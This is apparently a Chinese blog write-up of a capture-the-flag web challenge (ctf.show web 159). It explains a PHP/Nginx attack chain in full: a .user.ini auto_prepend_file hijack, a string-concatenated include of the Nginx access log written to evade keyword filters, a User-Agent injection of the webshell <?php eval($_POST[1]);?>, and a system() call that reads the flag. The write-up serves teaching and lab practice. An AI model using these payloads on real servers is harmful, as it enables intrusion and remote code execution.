ctf show web入门159

本题主要考察了通过 .user.ini 配置文件进行文件包含,并结合 日志注入 实现远程代码执行的综合高阶渗透技巧。

  1. 核心提示

    题目页面明确提示:"后端校验要严密",这暗示前端可能没有做严格限制,或者单纯的前端绕过是不够的,必须通过后端逻辑漏洞来打通链路。

  2. 考察知识点

    .user.ini 配置文件劫持:在 PHP 环境中,.user.ini 可以用于动态修改 PHP 配置。通过利用 auto_prepend_file 或 auto_append_file 指令,可以让当前目录下的所有 PHP 页面在执行前或执行后自动包含一个指定文件。

Nginx 日志注入:当上传的文件内容受到严格过滤(或无法直接上传 PHP 恶意脚本)时,可以通过向服务器发送带有恶意 PHP 代码的 HTTP 请求(如伪造 User-Agent),将其写入服务器的访问日志(access.log)。

本地文件包含(LFI)扩展:将日志文件作为包含目标,配合被 .user.ini 自动加载的媒介文件,触发 PHP 解析日志中的木马代码,最终达成 RCE。

解题详细步骤

第一步:利用 .user.ini 配置文件实现文件自动包含

分析环境:由于后端只允许上传图片格式或有严格的内容检查,直接上传普通的 蚁剑/冰蝎 木马可能会被后端拦截。

构建配置文件:利用 Burp Suite 拦截请求,将上传的文件名修改为 .user.ini

写入指令:在文件正文中写入以下配置:

php 复制代码
auto_prepend_file=MM.png

这句话的作用是:只要访问该目录下的任意 PHP 文件(例如 upload.php 或 index.php),系统在执行该 PHP 文件前,都会先强制 include 包含同目录下的 MM.png。

第二步:上传包含混淆代码的媒介文件(MM.png)

为了配合 .user.ini,接下来需要上传刚才指定的 MM.png 文件。

构造包含代码:因为可能存在针对关键词(如 include、log 等)的后端过滤,需要对敏感字符串进行拼接绕过。

发送请求:通过 Burp Suite 拦截并发送内容如下的 MM.png:

php 复制代码
<?include '/var/l'.'og/nginx/access.l'.'og'?>

由于混淆拼接,该代码在被 PHP 执行时会还原为 include '/var/log/nginx/access.log'。这意味着,每当触发文件包含链时,最终都会去解析 Nginx 的访问日志。第三步:Nginx 访问日志注入(一句话木马写入)通过前两步,我们成功建立了一条通道:访问 PHP 页面 -> 自动包含 MM.png-> 包含并解析 access.log。现在,只需要把一句话木马送进日志文件即可

定位目标:使用浏览器或 HackBar 访问一个不存在的文件或正常页面(如 1.txt),关键在于操纵请求头。

注入 WebShell:将 HTTP 请求头中的 User-Agent 修改为 PHP 一句话木马:

php 复制代码
<?php eval($_POST[1]);?>

结果:Nginx 服务器会将本次请求记录到 /var/log/nginx/access.log 中,其中 User-Agent 的位置就变成了我们的木马代码。

第四步:触发 RCE 并获取 Flag

执行命令:利用 HackBar 向目标的 /upload/ 目录(或包含 .user.ini 的相关 PHP 路由)发送 POST 请求。

传递参数:

在 POST Body 中传入:1=system('tac .../flag.php');(使用 tac 反向读取或 cat 读取上级目录下的 flag 文件)。

为什么这里要将一句话木马改为<?include'/var/l'.'og/nginx/access.l'.'og'?>

为什么这样就可以触发rce

这一步其实是整道题最精妙的联合套路。

简单来说:因为后端把所有好走的"直路"都堵死了(比如不让你直接上传木马、或者过滤了敏感代码),所以我们只能绕个远路,把 Nginx 的日志文件当成我们的"备用木马箱"。

下面为你深度拆解这两个为什么:

  1. 为什么要改为 <?include '/var/l'.'og/nginx/access.l'.'og'?>?
    这里有两个核心原因:绕过检测 和 定向引流。

① 字符串拼接:绕过后端的关键字过滤

如果直接在代码里写 '/var/log/nginx/access.log',后端的安全过滤机制(比如正则表达式)一旦检测到 log、nginx、access 等敏感字眼,就会判定这是恶意攻击并直接拦截上传。

通过利用 PHP 的字符串拼接特性:

'/var/l'.'og/nginx/access.l'.'og'

在上传时,它只是几个无害的碎片字符串,成功绕过检测。而当 PHP 真正去执行这行代码时,会自动把它们拼接还原成完整的路径:/var/log/nginx/access.log。

② 包含日志:把日志文件变成"伪装的 PHP 脚本"

.user.ini 的作用是让页面自动包含 MM.png。但 MM.png 本身里面并没有木马核心代码(没有 eval),它里面只有上面这行 include 语句。

这句话的意思是:"请 PHP 顺便把 Nginx 的访问日志文件也读取并解析一下。"

这样,我们就成功把 PHP 的执行焦点,转移到了 Nginx 的日志文件(access.log)上。

  1. 为什么这样就可以触发 RCE(远程代码执行)?
    这涉及到了 PHP 中 include(文件包含)的底层逻辑:"认命不认命"。

在 PHP 中,只要被 include() 的文件里含有标准的 PHP 标签(如 <?php ... ?>),不管这个文件的后缀是 .log、.txt 还是 .jpg,PHP 都会强行把里面的内容当成 PHP 代码来解析并执行!

整个 RCE 的触发链条是这样的:

步骤 1 攻击者访问 1.txt 并将 User-Agent 改为 <?php eval($_POST1);?>

步骤 2 Nginx 忠实地把这个恶意的 User-Agent 写入到 /var/log/nginx/access.log 中

步骤 3 攻击者向服务器的 upload.php 发送 POST 请求 (带上恶意参数 1=system(...))

步骤 4 .user.ini 触发 ──> 自动加载 MM.png

步骤 5 MM.png 执行 ──> 强行 include 包含 access.log

最终 RCE PHP 解析 access.log,读到步骤 1 写入的 <?php eval($_POST1);?>,

并接收了步骤 3 传来的 system() 命令,最终在服务器上炸开,执行成功!

总结

直接上传木马文件(含有 eval)会被后端直接杀掉。所以我们利用 MM.png 做一个"内应",它的唯一工作就是利用 include 跨界去把 Nginx 日志 拉进 PHP 的解析器里。而真正的木马,早就通过修改 User-Agent 的方式偷偷混进日志里躺着了。两合一,木马成功执行!

为什么写在1.txt文件中的一句话木马会让upload文件中的命令执行

这个问题问到了整道题最核心的目录级别配置劫持文件包含原理

其实,并不是 1.txtupload 里面的命令执行,而是 .user.ini 像一个"强力胶水",把 upload 目录下的所有 PHP 文件、MM.png、以及写有木马的 1.txt(访问日志) 牢牢地绑在了一起。

为了彻底说明白,我们把这个过程拆解为两个最关键的疑问:


1. 为什么访问 upload 目录能触发木马?(.user.ini 的威力)

.user.ini 是 PHP 的一种目录局部配置文件。只要你在某个目录下(比如 /upload/ 目录)上传了一个 .user.ini,那么只要有人访问这个目录下的任何一个 PHP 文件(不管是 index.php 还是 upload.php),PHP 引擎都会强制执行 .user.ini 里的全局指令。

我们在 .user.ini 里写了:

ini 复制代码
auto_prepend_file=MM.png

这意味着:

  • 只要你请求 https://.../upload/upload.php
  • PHP 在执行 upload.php 里的代码之前 ,会自动、无条件地先在后台执行 include('MM.png');

2. 木马不是在 1.txt 里吗?怎么和 MM.png 扯上关系的?

这就是为什么要用 日志注入

  1. 木马的真正去处
    在第三步中,我们修改了 User-Agent 发送请求访问 1.txt。这时候,Nginx 服务器会把这次访问记录到它的标准访问日志 中(即 /var/log/nginx/access.log)。
    也就是说,此时 <?php eval($_POST[1]);?> 这句木马,已经变成文本,躺在 Nginx 的 access.log 文件里了
  2. MM.png 的内应作用
    我们在第二步中上传了 MM.png,内容是:
php 复制代码
<?include '/var/l'.'og/nginx/access.l'.'og'?>

它被拼接还原后,真正的意思就是:include '/var/log/nginx/access.log'


最终的骨牌效应:命令是如何执行的?

当你使用 HackBar,向 upload.php 发送 POST 请求,带上参数 1=system('tac ../flag.php'); 时,服务器后台发生了如下的连环反应:

  1. 第一步(配置触发) :PHP 收到请求,准备运行 upload.php。但它发现当前目录下有 .user.ini,于是转头**先去加载 MM.png**
  2. 第二步(文件包含) :PHP 开始解析 MM.png,读到了里面的指令------"去把 Nginx 的 access.log 包含进来"
  3. 第三步(木马复活) :PHP 开始读取 access.log。虽然它是日志文件,但由于 PHP 的 include 特性"只认标签不认后缀",PHP 一旦在日志里读到之前注入的 <?php eval($_POST[1]);?> 标签,就会立刻把它当作真正的 PHP 代码来执行!
  4. 第四步(命令炸开) :此时 eval() 函数激活,它成功接收到了你通过 POST 传过来的参数 1(即 system('tac ../flag.php');)。

结果 :操作系统执行了 tac ../flag.php,并将 flag 打印在了你的屏幕上。

总结

1.txt 只是一个用来触发 Nginx 记录日志的靶子 (通过访问它,把木马写进日志)。最终真正让命令执行的,是 .user.ini 强行加载了 MM.png,而 MM.png 又强行把带有木马的日志文件(access.log)喂给了 PHP 处理器

相关推荐
TPBoreas2 小时前
前端面试问题打把-场景题
开发语言·前端·javascript
恋猫de小郭2 小时前
Flutter 又为 AI 时代添砖加瓦:全新 ComponentLibrary 提议
android·前端·flutter
就叫_这个吧2 小时前
HTML或JSP页面链接CSS,link标签没问题,但不显示样式问题解决
java·前端·css·html·intellij-idea·jsp
IT_陈寒2 小时前
SpringBoot这个坑差点让我加班到天亮
前端·人工智能·后端
小小龙学IT3 小时前
Rust Web 框架 Axum:轻量级异步的下一代后端利器
前端·驱动开发·rust
大鱼前端3 小时前
10 分钟用 Bun + Hono + SQLite 跑通一个全栈 API
前端·javascript
古怪今人3 小时前
Vite8的项目中集成CSS预处理器编译器SCSS 集成Mock工具
前端·css·scss
NULL指向我3 小时前
TMS320F28379D笔记4:CAN通信的收发配置
笔记
疯狂打码的少年3 小时前
【程序语言与编译】文法的分类(0-3型,乔姆斯基体系)
人工智能·笔记·分类·数据挖掘